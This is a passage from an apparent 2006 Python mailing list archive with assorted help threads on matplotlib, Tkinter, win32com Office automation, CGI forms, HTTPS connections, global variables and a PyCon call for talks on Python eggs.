python. > > I have installed and imported the Matplotlib package but on executing > > the code > > [N,x]=hist(eig, 10) # make a histogram > > I am getting an error saying "NameError: name 'hist' is not > > defined". > > I presume what you did was something like this: > > from matplotlib import pylab > [N,x] = hist(eig, 10) > > What you actually want is this: > > from matplotlib import pylab > [N,x] = pylab.hist(eig, 10) > > Or, if you're at the interactive prompt (but remember that it is inadvisable to > do so in modules): > > from matplotlib.pylab import * > [N,x] = hist(eig, 10) > > You will probably want to review the section of the tutorial on importing > modules if you don't understand the differences. > > -- > Robert Kern > > "I have come to believe that the whole world is an enigma, a harmless enigma > that is made terrible by our own mad attempt to interpret it as though it had > an underlying truth." > -- Umberto Eco From nick at craig-wood.com Mon Oct 16 04:30:11 2006 From: nick at craig-wood.com (Nick Craig-Wood) Date: Mon, 16 Oct 2006 03:30:11 -0500 Subject: IDE that uses an external editor? References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se> <17713.9709.575464.630058@montanaro.dyndns.org> <20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se> <624934630610151434t5bb8b9f8l6572f26a69c08b54@mail.gmail.com> <87veml468m.fsf@gmail.com> Message-ID: Jorge Godoy wrote: > Eclipse: just a GUI over a subset of Emacs today. ;-) > One day, when it evolves, it will be something interesting... I > won't give up on Emacs loading fast I never thought I'd live to see emacs being quoted as loading fast! It really is fast compared to Eclipse though. "E"ight(y) "M"egs "A"nd "C"onstantly "S"wapping Trouble is is that Eclipse is Eight-Hundred Megs ;-) This message written in emacs, which I love dearly and have spent the last 10 years mastering! I did try Eclipse but I found it too slow and clunky and there was far too much GUI (I like my whole screen to be the file I'm editing). Attempting to bring this discussion back on topic: Emacs has a few python modes also. There is the basic python-mode which does everything expected of a major-mode. Syntax colouring, indentation that sort of thing. There is also IM-Python for code navigation, and bycycle repair man for refactoring support. You can run stuff at the interactive python prompt from within emacs. -- Nick Craig-Wood -- http://www.craig-wood.com/nick From eldiener_no_spam_here at earthlink.net Tue Oct 10 10:42:09 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Tue, 10 Oct 2006 14:42:09 GMT Subject: Python component model In-Reply-To: <4p1nggFgnl6uU1@uni-berlin.de> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <7xlknotwuy.fsf@ruckus.brouhaha.com> <4p14h4Fgk9jaU1@uni-berlin.de> <4p1nggFgnl6uU1@uni-berlin.de> Message-ID: <5jOWg.5405$Lv3.4138@newsread1.news.pas.earthlink.net> Diez B. Roggisch wrote: >> While I understand dynamic typing, I still think it is possible to >> create attributes in a Python component model which could tell a RAD >> tool what type the attribute will encompass for the purpose of >> properties and events. Obviously a "name, type" tuple, among other >> possible information would have to be used. But given Python's amazingly >> flexible type and introspection system, this should be possible. > > The amazing flexibility stems from the fact that it is _runtime_. This is > _exactly_ the difference between static and dynamic typing. > > If a static analysis (_not_ importing the module, which can trigger > arbitrary code being run!!!) is supposed to deliver the component > architecture, you are either introducing static typing, or get into the > danger of lose coupling between declaration and implementation, rendering > the whole thing pretty useless. Yes, I am suggesting static typing functionality for a subset of Python attributes. How this can be done I am still investigating on my own. > > Of course, with a bit of discipline, you can create such a introspection > facility that offers its properties after a mere import, see ZOPE > interfaces for example. > > But in the end, it boils down to declaring stuff for that purpose alone, and > introducing static typing, whereas other languages declare typing for their > own needs, and add the component model upon that. > > And then you lose a _lot_ of what python makes powerful, for a very doubtful > benefit IMHO. Adding a feature, such as static typing functionality for the situation of doing visual RAD programming, does not "lose a _lot_ of what makes python powerful". My idea of adding static typing is not an attempt to change the language but rather to develop Python classes which encapsulate the idea of a variable and a type for the purposes of emulating component properties and component events. If a language addition is needed instead I will investigate how to propose it. From breakfastea at gmail.com Sat Oct 7 01:08:35 2006 From: breakfastea at gmail.com (Camellia) Date: 6 Oct 2006 22:08:35 -0700 Subject: humble coin head or tail game script I wrote In-Reply-To: <1160168295.033649.163460@k70g2000cwa.googlegroups.com> References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com> <1160158803.404425.316430@h48g2000cwc.googlegroups.com> <1160159206.781049.24930@c28g2000cwb.googlegroups.com> <1160168295.033649.163460@k70g2000cwa.googlegroups.com> Message-ID: <1160197715.045939.138760@b28g2000cwb.googlegroups.com> Oh I get it and ashamed, thank you for explaining it to me:) so I sould: ini_guess=random.randrange(2) ... for item in list: if item=='h': ... if item ==t': ... sjdevnull at yahoo.com wrote: > Camellia wrote: > > Well...It' doesn't, have you run it yet? > > Yes it does, and running it reflects that behavior. > > > ini_guess = random.randrange(1) > > list_guess = ['t', 'h'] > > ini_guess = list_guess[ini_guess] > > random.randrange(1) will always return 0, so this will always > initialize ini_guess to 't' > > > for item in list: > > if item == ini_guess: > > correct += 1 > > elif item == 'h': > > ini_guess = 't' > > elif item == 't': > > ini_guess == 'h' > > If item was 't', then correct is incremented and nothing else happens. > ini_guess remains 't'. > If item was 'h', ini_guess will be set to 't'. > > The final "elif item=='t':" branch will never be executed. From jstroud at mbi.ucla.edu Fri Oct 13 04:54:49 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Fri, 13 Oct 2006 08:54:49 GMT Subject: Using SVN with Python and .pyc files In-Reply-To: References: Message-ID: Everyone wrote: [something helpful] Thank you to everyone for your responses. James From johnjsal at NOSPAMgmail.com Tue Oct 10 11:29:48 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Tue, 10 Oct 2006 15:29:48 GMT Subject: can regular ol' python do a php include? In-Reply-To: References: Message-ID: John Salerno wrote: > print open('header.html').read() > > Not quite as elegant as include('header.html'), but it seems like it > would work. Spoke too soon maybe. Does using the above mean that I have to create an entire Python file rather than an HTML file? What I'm looking for is to be able to use pure HTML, but just stick in a line of Python when I need to include something. It doesn't seem to work this way though, unless I'm doing something wrong. From Roka100 at gmail.com Sun Oct 22 11:24:32 2006 From: Roka100 at gmail.com (Jia Lu) Date: 22 Oct 2006 08:24:32 -0700 Subject: Why I cannot Exit python shell ?? Message-ID: <1161530672.565105.5770@i42g2000cwa.googlegroups.com> Hi all. After using python shell (IDLE) for a while, I typed commands below to exit . But error ocurred. >>> raise SystemExit Traceback (most recent call last): File "", line 1, in raise SystemExit SystemExit >>> sys.exit(0) Traceback (most recent call last): File "", line 1, in sys.exit(0) SystemExit: 0 >>> dir() ['__builtins__', '__doc__', '__name__', 'os', 'sys', 'time'] Why?? From jchiang2 at ford.com Sun Oct 1 21:33:17 2006 From: jchiang2 at ford.com (Jim Chiang) Date: Sun, 1 Oct 2006 21:33:17 -0400 Subject: Picture in Excel issue Message-ID: <003301c6e5c2$bc98bb60$0f1ea8c0@tc4200> I'm trying to very simply insert a picture from a file into an excel spreadsheet. I know how to do this in VBA and it works fine, however when I try this from python I get an error. Doing a search on this turned up nothing. The code I'm using is: from win32com.client.dynamic import Dispatch xl = Dispatch( 'Excel.Application' ) xl.Visible=1 xl.Workbooks.Add() xl.ActiveSheet.Pictures.Insert("C:\a.jpg") Traceback (most recent call last): File "", line 1, in xl.ActiveSheet.Pictures.Insert("C:\a.jpg") AttributeError: 'function' object has no attribute 'Insert' I'm not sure why I get this issue since 'ActiveSheet.Pictures.Insert("C:\a.jpg")' works fine from within Excel. Several internet posts from my searches also suggest to use this method. I've tried this on both Python 2.1 and 2.5 with the same results. Any idea what the problem is or how I can insert the picture?? TIA, Jim -------------- next part -------------- An HTML attachment was scrubbed... URL: From amitsoni.1984 at gmail.com Mon Oct 16 23:49:10 2006 From: amitsoni.1984 at gmail.com (amitsoni.1984 at gmail.com) Date: 16 Oct 2006 20:49:10 -0700 Subject: Plotting histograms Message-ID: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> hi, I have some values(say from -a to a) stored in a vector and I want to plot a histogram for those values. How can I get it done in python. I have installed and imported the Matplotlib package but on executing the code [N,x]=hist(eig, 10) # make a histogram I am getting an error saying "NameError: name 'hist' is not defined". Is there any other way to plot histograms over a given range? thanks Amit From will at willmcgugan.com Wed Oct 11 07:09:02 2006 From: will at willmcgugan.com (Will McGugan) Date: 11 Oct 2006 04:09:02 -0700 Subject: Alternative constructors naming convention Message-ID: <1160564942.565119.226780@m7g2000cwm.googlegroups.com> Hi, Is there a naming convention regarding alternative constructors? ie static methods where __new__ is called explicity. I use lower_case for methods in general, but thought maybe CamelCase would be better for alternative contstructors to distinguish them from methods... So which is better? c = Color.FromHtml(r, g, b) c = Color.from_html(r, g, b) Will McGugan -- http://www.willmcgugan.com From joel.hedlund at gmail.com Fri Oct 27 07:00:49 2006 From: joel.hedlund at gmail.com (Joel Hedlund) Date: Fri, 27 Oct 2006 13:00:49 +0200 Subject: Slightly OT: Is pyhelp.cgi documentation search broken? In-Reply-To: References: Message-ID: > It works now again. You are now officially my hero. > Note that you can also download the module and use it locally. Cool. I'll do that! Thanks! /Joel From MonkeeSage at gmail.com Sat Oct 7 13:26:22 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 7 Oct 2006 10:26:22 -0700 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> Message-ID: <1160241982.216511.281950@m73g2000cwd.googlegroups.com> On Oct 7, 3:27 am, Gabriel Genellina wrote: > The meaning comes from the most common usage. I wasn't suggesting that the "in" keyword have a different sematic for sequence types. I was just saying that regarding the question whether there is anything similar to "dict.has_key / k in dict" for lists, the "in" keyword is not semantically analogous. > Because it's not needed at all: valid sequence indexes are *exactly* > range(len(seq)). This is the basic point of being a sequence: when > indexes are not contiguous, in fact you have a mapping, not a sequence. True. But valid dictionary keys are exactly d.keys(). The has_key method is just sugar. > Sometimes, maybe... But since you can write it efficientely in a few > lines when needed, I don't see the need to put it into the core language. Couldn't the same be said for dictionaries? I could write for sequences: if index < len(seq) and seq[index]: ... But I could also write for dictionaries: if key in dic.keys() and dic[key]: ... I just wonder why the syntactic sugar was added for dicts, but not for sequence types. Regards, Jordan From wescpy at gmail.com Wed Oct 11 20:19:41 2006 From: wescpy at gmail.com (wesley chun) Date: Wed, 11 Oct 2006 17:19:41 -0700 Subject: Adding Worksheets to an Excel Workbook Message-ID: <78b3a9580610111719j4fea5802jd2e581ad88988682@mail.gmail.com> > just a small OT question coming from a linux openoffice > system... > > Does there exist something similar for powerpoint? Would be > nice, if anybody can direct me to more examples... fabian, see below for a PP example. you mentioned you were coming from a linux OOo system... are you trying to do COM stuff with OOo? i'm not familiar with it, but since they do support some level of VB-like scripting, i don't believe it's out of the question. one thing that i did forget to mention in my earlier message is that i use static dispatch for these apps. if you did not go and run the makepy utility, you would have to use dynamic dispatch, start your apps with win32com.client.Dispatch(), or, using the same import statement as below, win32.Dispatch(). anyway, here is pretty much the same script as i sent earlier but for PowerPoint instead of Excel (the book has small examples for each of Excel, Word, PowerPoint, and Outlook): # based on ppoint.pyw in Core Python Programming, 2nd ed from time import sleep import win32com.client as win32 def ppoint(): ppoint = win32.gencache.EnsureDispatch('PowerPoint.Application') pres = ppoint.Presentations.Add() ppoint.Visible = True s1 = pres.Slides.Add(1, win32.constants.ppLayoutText) sleep(1) s1a = s1.Shapes[0].TextFrame.TextRange s1a.Text = 'Python-to-PowerPoint Demo' sleep(1) s1b = s1.Shapes[1].TextFrame.TextRange for i in range(3, 8): s1b.InsertAfter("Line %d\r\n" % i) sleep(1) s1b.InsertAfter("\r\nTh-th-th-that's all folks!") sleep(5) pres.Close() ppoint.Quit() if __name__=='__main__': ppoint() HTH! -- wesley - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall, (c)2007,2001 http://corepython.com wesley.j.chun :: wescpy-at-gmail.com python training and technical consulting cyberweb.consulting : silicon valley, ca http://cyberwebconsulting.com From sparkytwobillion at gmail.com Mon Oct 16 22:45:17 2006 From: sparkytwobillion at gmail.com (runningwild) Date: 16 Oct 2006 19:45:17 -0700 Subject: httplib and HTTPS Connections In-Reply-To: <1161052193.081315.140370@h48g2000cwc.googlegroups.com> References: <1161052193.081315.140370@h48g2000cwc.googlegroups.com> Message-ID: <1161053117.737718.238680@i42g2000cwa.googlegroups.com> runningwild wrote: > Helo, > > This is the first time I have cared about httplib's HTTPSConnection. > > In the docs I read "Note: HTTPS support is only available if the socket > module was compiled with SSL support." > > Although my small test script "seems" to work when connecting to a > webserver via HTTPS I am really not sure. > > In other words it worked the first time. I never trust anything that > seems to work right the first time. ;-) > > My question is how can I tell if the criteria in the "NOTE:" is met? > How do I know that the socket module was indeed compled with SSL > support? > > The reason this is important is that I am building a credit card > payment system. > > Here is my little test script > ======================== > Python 2.4.3 > > import httplib > conn = httplib.HTTPSConnection('**********') > conn.request('GET' '/index.html') > resp = conn.getresponse() > > page = resp.read() > print page Quick followup: I just got off the phone with my sys admin. Python was compiled with the ssl flag turned on. ssl does work other applications. I am assuming we are covered. I just want to be sure. From jsanga at cox.net Fri Oct 13 13:54:34 2006 From: jsanga at cox.net (mzdude) Date: 13 Oct 2006 10:54:34 -0700 Subject: Appropriate way to quit Tkinter In-Reply-To: References: <1160675883.753402.70430@i3g2000cwc.googlegroups.com> <1160700517.014505.304880@b28g2000cwb.googlegroups.com> Message-ID: <1160762074.705875.324590@e3g2000cwe.googlegroups.com> Fredrik Lundh wrote: > mzdude wrote: > > >> works for me. are you perhaps running this under some kind of IDE that > >> keeps the process running even after the program has terminated? > >> > > It works the same way if I run from IDLE or from the DOS command prompt. > > I find very hard to believe that a Python interpreter run from the DOS > command prompt wouldn't terminate when it reaches the end of the main > program. > > what Python distribution are you using? > > Not sure I understand the question. I downloaded python-2.5.msi from python.org/download. >From the IDLE Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on win32 Type "copyright", "credits" or "license()" for more information. From alistair.king at helsinki.fi Mon Oct 30 12:30:25 2006 From: alistair.king at helsinki.fi (Alistair King) Date: Mon, 30 Oct 2006 19:30:25 +0200 Subject: create global variables? In-Reply-To: <4546349A.7070701@islandtraining.com> References: <4546317A.8040500@helsinki.fi> <4546349A.7070701@islandtraining.com> Message-ID: <454636B1.1030308@helsinki.fi> Gary Herron wrote: > Alistair King wrote: > >> Hi, >> >> is there a simple way of creating global variables within a function? >> >> >> > Use the "global" statement within a function to bind a variable to a > global. > > See http://docs.python.org/ref/global.html for details. > > > >>>> def x(): >>>> > ... global g > ... g = 123 > ... > >>>> x() >>>> g >>>> > 123 > > > Gary Herron > > > > > >> ive tried simply adding the variables in: >> >> def function(atom, Xaa, Xab): >> Xaa = onefunction(atom) >> Xab = anotherfunction(atom) >> >> if i can give something like: >> >> function('C') #where atom = 'C' but not necessarly include Xaa or Xab >> >> i would like to recieve: >> >> Caa = a float >> Cab = another float >> >> ive tried predefining Xaa and Xab before the function but they are >> global values and wont change within my function. Is there a simple way >> round this, even if i call the function with the variables ('C', Caa, Cab)? >> .............................................................................................................................. >> >> some actual code: >> >> # sample dictionaries >> DS1v = {'C': 6} >> pt = {'C': 12.0107} >> >> def monoVarcalc(atom): >> a = atom + 'aa' >> Xaa = a.strip('\'') >> m = atom + 'ma' >> Xma = m.strip('\'') >> Xaa = DS1v.get(atom) >> Xma = pt.get(atom) >> print Xma >> print Xaa >> >> monoVarcalc('C') >> >> print Caa >> print Cma >> .............................................................................................................................. >> it seems to work but again i can only print the values of Xma and Xaa >> >> ? >> >> Alistair >> >> >> > > have tried: def monoVarcalc(atom): a = atom + 'aa' Xaa = a.strip('\'') m = atom + 'ma' Xma = m.strip('\'') global Xma global Xaa Xaa = DS1v.get(atom) Xma = pt.get(atom) print Xma print Xaa monoVarcalc('C') print Caa print Cma ....................................................................................................... where global Xma & Xaa are before and after any further functions i get still get the error Traceback (most recent call last): File "DS1excessH2O.py", line 54, in ? print Caa NameError: name 'Caa' is not defined -- Dr. Alistair King Research Chemist, Laboratory of Organic Chemistry, Department of Chemistry, Faculty of Science P.O. Box 55 (A.I. Virtasen aukio 1) FIN-00014 University of Helsinki Tel. +358 9 191 50392, Mobile +358 (0)50 5279446 Fax +358 9 191 50366 From antroy at gmail.com Sat Oct 21 03:50:34 2006 From: antroy at gmail.com (Ant) Date: 21 Oct 2006 00:50:34 -0700 Subject: FOR statement In-Reply-To: <453911b6$0$19616$88260bb3@free.teranews.com> References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com> <453911b6$0$19616$88260bb3@free.teranews.com> Message-ID: <1161417033.963163.275300@i3g2000cwc.googlegroups.com> Jordan Greenberg wrote: ... > >>> def printreverse(lst): > if lst: > printreverse(lst[1:]) > print lst[:1][0] Convoluted way of writing "print lst[0]" ! > >>> printreverse([1,2,3,4]) > > No good reason at all to do it this way. But recursion is fun. But there's a good reason not to. Try: printreverse(range(1000)) Recursion has a maximum depth (of 1000 by default) in Python. From steve at holdenweb.com Tue Oct 24 19:58:07 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 25 Oct 2006 00:58:07 +0100 Subject: return same type of object In-Reply-To: <453e8f03$0$31941$426a74cc@news.free.fr> References: <453e26bf$0$21879$426a74cc@news.free.fr> <453e8f03$0$31941$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > David Isaac a ?crit : [...] > >>But Steve suggests going with the latter. > > > That's what I'd do too a priori. > Believe it or not, I wasn't at the priory when I wrote that. Sorry. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From superflit at gmail.com Tue Oct 24 17:37:50 2006 From: superflit at gmail.com (flit) Date: 24 Oct 2006 14:37:50 -0700 Subject: Simple python + html + from --> to python script In-Reply-To: References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com> <1161724741.888254.321030@m73g2000cwd.googlegroups.com> Message-ID: <1161725870.633545.31800@f16g2000cwb.googlegroups.com> Sorry but for a totally newbie the lib doccumentation doesnt help.. The target audience for the docs are for "grown ups" programmers.. I think I will do some tutorial, in baby steps... J. Clifford Dyer wrote: > A good starting place would be the documentation on python.org. > > In this case, the python library reference would have been helpful: > > http://docs.python.org/lib/lib.html > > Cheers, > Cliff > > > flit wrote: > > Man.... > > Very thanks... > > I really try to find some source of good and simple and nothing.. > > Many thanks you are a great help! > > > > Steve Holden wrote: > >> flit wrote: > >>> Hello All, > >>> > >>> I am trying to get information from a form and send it to a python > >>> script without success.. > >>> Here is my objective: > >>> > >>> User enters data in form --> form send variables to python script --> > >>> script runs and output result. > >>> > >>> the form code > >>> > >>>
Entre com > >>> os dados
> >>> > >>> Entre com os dados
> >>> Vai magraum
> >>> > >>> In my script.py > >>> > >>> What I should have to print > >>> something like > >>> > >>> Hello the data1 + data 2 = .... > >>> > >>> ? > >>> > >>> Maybe I am stumbling in something very simple, but I cannot find some > >>> working example, and I am totally confused... > >>> Thanks in advance > >>> > >> Untested, without error checking. Caveat emptor: > >> > >> import cgi > >> import cgitb; cgitb.enable() # optional error handling > >> > >> form = cgi.FieldStorage() > >> > >> d1 = form["data1"].value > >> d2 = form["data2"].value > >> > >> print """\ > >> Content-type: text/plain > >> > >> Hello: the data were: %s and %s""" % (d1, d2) > >> > >> regards > >> Steve > >> -- > >> Steve Holden +44 150 684 7255 +1 800 494 3119 > >> Holden Web LLC/Ltd http://www.holdenweb.com > >> Skype: holdenweb http://holdenweb.blogspot.com > >> Recent Ramblings http://del.icio.us/steve.holden > > From abu at software-lab.de Fri Oct 20 04:20:49 2006 From: abu at software-lab.de (Alexander Burger) Date: Fri, 20 Oct 2006 10:20:49 +0200 Subject: Tkinter--does anyone use it for sophisticated GUI development? References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> <7xac3ra6wg.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > There's a language called Picolisp in which this is the standard way > to do a gui. Picolisp includes a java applet that can do some stuff > that standard html widgets can't. These days I suppose it should use > AJAX. Yes, in fact it does. The currently active "testing version" http://www.software-lab.biz/1024/?download&picoLisp.tgz also has a plain HTML GUI, enhanced by XMLHttpRequests, in a way that it works transparently in browsers with or without JavaScript enabled. We are using it in all our current projects. - Alex From fredrik at pythonware.com Fri Oct 13 04:34:30 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 13 Oct 2006 10:34:30 +0200 Subject: Freeware link/html checker (validator) for mod_python site References: <452F4969.1040203@gmail.com> Message-ID: "durumdara" wrote: > Sorry for non-pythonic subject, but if I not find good solution, I will > write a routine for this in python... :-))) in your Python installation (or source) directory, do $ cd Tools/webchecker and then write $ python webchecker.py -x http://yoursite (use --help to get a man page) From fredrik at pythonware.com Tue Oct 17 10:06:48 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 16:06:48 +0200 Subject: Looking for assignement operator References: Message-ID: Alexander Eisenhuth wrote: > is there a assignement operator, that i can overwrite? no. From jeff at taupro.com Wed Oct 11 11:01:53 2006 From: jeff at taupro.com (Jeff Rush) Date: Wed, 11 Oct 2006 10:01:53 -0500 Subject: A Call for a Presenter on Python Eggs Message-ID: <452D0761.3020104@taupro.com> Eggs are important to Python and will become more so over the next few years, if understood and embraced by the community. They are a key competitive feature - I've been asked so many times what is the Python equivalent to CPAN and finally we're developing an answer. At PyCon 2007 we need a solid set of talks about eggs, broken down into just using them, how to build and distribute them, and then an advanced talk on some of the more exotic aspects of eggs. At PyCon 2006, essentially the 3rd talk I mention above was given to a standing-room-only audience, and then repeated against an hour later as people in the hall could not get in. But missing were the first two talks - many people were not ready for advanced material but sought an introduction. Who in our community is building eggs on a frequent basis, and is good at explaining how they work? Below are three talk outlines I've sketched out, along with the slides from a talk I tossed together for the Dallas Pythoneers group. They need polish and I'm donating them to the cause. Will someone please step forward and address this critical need? For revision, links to the three wiki outline pages appear on: http://us.pycon.org/TX2007/TalkIdeas --- Python Eggs - Using and Installing Them * What is so cool about eggs? Wow me. * What problem were they intended to solve? * What is their relation to distutils? * So how does distutils work then? * How do they compare to CPAN and RPM approaches? * Sound good, how do I enable eggs on my system? * How do I accomplish common operations? o install an egg o test install an egg, to see if it would work o uninstall an egg o list what eggs are installed at the moment o switch between the versions of an egg * I don't trust eggs - how can I partially install one, examine it and then finish the installation? * How do I find out what eggs exist, and their names? * What about py2exe and droplets? Competing approaches? * Show me a walkthru of the cheeseshop - how to find a package. * How do I figure out the author of an egg I'm having trouble with? --- Python Eggs - Creating and Distributing Them * Where does distutils fit in? * What do I need to add to setup.py to package my software as an egg? * How does it work re path configuration files? * What are the issues with zipped eggs; how can my code access my data? * How do I produce cross-platform eggs? * How do I produce platform-specific eggs? * How do I get my eggs registered on the cheeseshop? * How do I upload my eggs, source and binaries? * How can I volunteer as a packager for non-egg authors? * Some eggs are broken in the cheeseshop - how can I help? (Keep this talk simple and focused on _just_ getting your vanilla egg packaged and uploaded. Defer the advanced egg issues to the third talk). --- Python Eggs - Advanced Packaging * What are entry points? * How does dynamic discovery/plugins work? * I hear Trac uses them - how? * What are extras? They sound nifty! * What is a namespace package? When and how do I use them? * How can I have multiple distribution versions? * I hear eggs can detect files under CVS/subversion control - how does that work? * Also eggs have support for units tests - how? * Where do the egg experts hang out? An Old Talk of mine about Eggs (from which to borrow slides/ideas): * Attach:2006-03-25-AboutPythonEggs.odt * Attach:2006-03-25-AboutPythonEggs.pdf -Jeff Co-Chair PyCon 2007 From stateroad at gmail.com Tue Oct 24 08:07:49 2006 From: stateroad at gmail.com (Marshall) Date: 24 Oct 2006 05:07:49 -0700 Subject: Change on file In-Reply-To: References: Message-ID: <1161691668.981510.209570@b28g2000cwb.googlegroups.com> You could use ctime to see it by the time. MD5 it's a most secure way to a file that CAN'T be modified. If you just want to see if the file has been modified (like to make a cache), use ctime. From Hakusa at gmail.com Mon Oct 23 02:47:45 2006 From: Hakusa at gmail.com (Hakusa at gmail.com) Date: 22 Oct 2006 23:47:45 -0700 Subject: Arrays? (Or lists if you prefer) In-Reply-To: <453c63ea$0$4578$4fafbaef@reader2.news.tin.it> References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com> <%jV_g.7670$5i7.2617@newsreading01.news.tds.net> <453c63ea$0$4578$4fafbaef@reader2.news.tin.it> Message-ID: <1161586065.333264.130730@b28g2000cwb.googlegroups.com> Andrea Griffini wrote: > Neil Cerutti wrote: > > > >>> b =[range(2), range(2)] > > I often happened to use > > b = [[0] * N for i in xrange(N)] > > an approach that can also scale up in dimensions; > for example for a cubic NxNxN matrix: > > b = [[[0] * N for i in xrange(N)] > for j in xrange(N)] > > Andrea What's the difference between xrange and range? From onurb at xiludom.gro Mon Oct 2 04:50:13 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 02 Oct 2006 10:50:13 +0200 Subject: windev vs python SOS In-Reply-To: <1159632848.993229.58300@m7g2000cwm.googlegroups.com> References: <0001HW.C14424C100B023CEF0488530@news.individual.de> <1159632848.993229.58300@m7g2000cwm.googlegroups.com> Message-ID: <4520d2c7$0$2782$636a55ce@news.free.fr> Amanda wrote: (snip) > I am always amazed when I meet fanatics!! I'm always amazed when I meet PC-Soft's salespersons... > Links abour Windev for those who like facts : > > http://www.windev.com/pcsoft/testimonials/index.html > http://www.pcsoft.fr/annonce10/photos.html > http://www.pcsoft.fr/pcsoft/120pages/index.html "Facts" ? Lol ! It's about as factual as the existence of Saddam Hussein's mass destruction weapons. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From gagsl-py at yahoo.com.ar Thu Oct 19 18:33:19 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 19 Oct 2006 19:33:19 -0300 Subject: Lead Software Engineer In-Reply-To: <1161295580.670392.26500@k70g2000cwa.googlegroups.com> References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com> Message-ID: <7.0.1.0.0.20061019192946.05aab620@yahoo.com.ar> At Thursday 19/10/2006 19:06, Emma wrote: >Successful candidates meet the following requirements: >? 10+ years experience designing and implementing high volume web >applications So you almost have to be Tim Berners-Lee to qualify... Who were developing "high volume web applications" on 1996? -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From roman.yakovenko at gmail.com Thu Oct 19 06:58:26 2006 From: roman.yakovenko at gmail.com (Roman Yakovenko) Date: Thu, 19 Oct 2006 12:58:26 +0200 Subject: Python wrapper for C++ core In-Reply-To: <1161252654.989703.301750@i3g2000cwc.googlegroups.com> References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com> <1161153430.166027.301810@m73g2000cwd.googlegroups.com> <1161252654.989703.301750@i3g2000cwc.googlegroups.com> Message-ID: <7465b6170610190358k71f6accfo4afbb6c634d5dd15@mail.gmail.com> On 19 Oct 2006 03:10:55 -0700, Holly wrote: > > Thanks everyone for the responses - I think I have a better > understanding now. I can handle all the messy I/O in Python and use C > for the number crunching. I especially like the idea of using python to > output the results to excel. > > OK time to learn Python i think - any tips on best place to start > (tutorials/documentation etc). I have a pretty comprehensive background > in C/C++/Java and a bit of experience some other scripting languages so > its really a matter of syntax/libraries rather than programming > theory/constructs Be sure to check Boost.Python to create Python bindings for your project(s): http://boost.org/libs/python/doc/tutorial/doc/html/index.html -- Roman Yakovenko C++ Python language binding http://www.language-binding.net/ From jan.bakuwel at int.greenpeace.org Fri Oct 13 12:38:53 2006 From: jan.bakuwel at int.greenpeace.org (Jan Bakuwel) Date: Fri, 13 Oct 2006 18:38:53 +0200 Subject: Newbie: how to wait for callbacks... Message-ID: <12ivg8tpvmv9206@corp.supernews.com> Hoi all, I'm trying to write a little code that waits for a callback routine to be called, ideally with a timeout... I guess the code below is not right (using a boolean flag), but since I'm new to Python, I don't know yet where the semaphores live and/or whether I'm on the right track... Any help is much appreciated... Jan def processEmail(emailMessage): sendSent = False def sendComplete(result): print "Message sent successfully" processEmail.sendSent = True #end sendComplete def sendFailed(error): print >> sys.stderr, "Error", error.getErrorMessage() processEmail.sendSent = True #end sendFailed if emailMessage.is_multipart(): print "...multipart" for pl in emailMessage.walk(): pass else: print "...not multipart" # simulate some processing that will take place here time.sleep(1) multiMessage = MIMEMultipart() multiMessage['From'] = emailMessage['From'] multiMessage['To'] = emailMessage['To'] multiMessage['Subject'] = emailMessage['Subject'] messageData = multiMessage.as_string(unixfrom=False) sending = smtp.sendmail('smtp', 't at t.t', 't at t.t', messageData) sending.addCallback(sendComplete).addErrback(sendFailed) while not processEmail.sendSent: print "z" time.sleep(0.1) #end while print "...done" #raise smtp.SMTPDeliveryError(code=550, resp="Unable to deliver email, please try again later", isFatal=True, retry=False) print "" #endif #end ProcessEmail From deets at nospam.web.de Mon Oct 9 10:25:21 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Mon, 09 Oct 2006 16:25:21 +0200 Subject: Dive Into Java? References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> Message-ID: <4ov4ekFg823lU1@uni-berlin.de> Bjoern Schliessmann wrote: > Diez B. Roggisch wrote: > >> While I do not love java, this is one of the dumbest statements >> for a while in this NG - even though it is not meant to be too >> serious. > > Thanks for your concern. I didn't really state this from dumbness > though. What do you mean by "from dumbness"? I didn't accuse you of being dumb, if that is what you are concerned of. But the statement was. > BTW, definitely consider looking up "irony" and "emoticon" in an > encyclopedia of your choice. Putting a single emoticon on the end of an unreflected and wrong statement doesn't make that 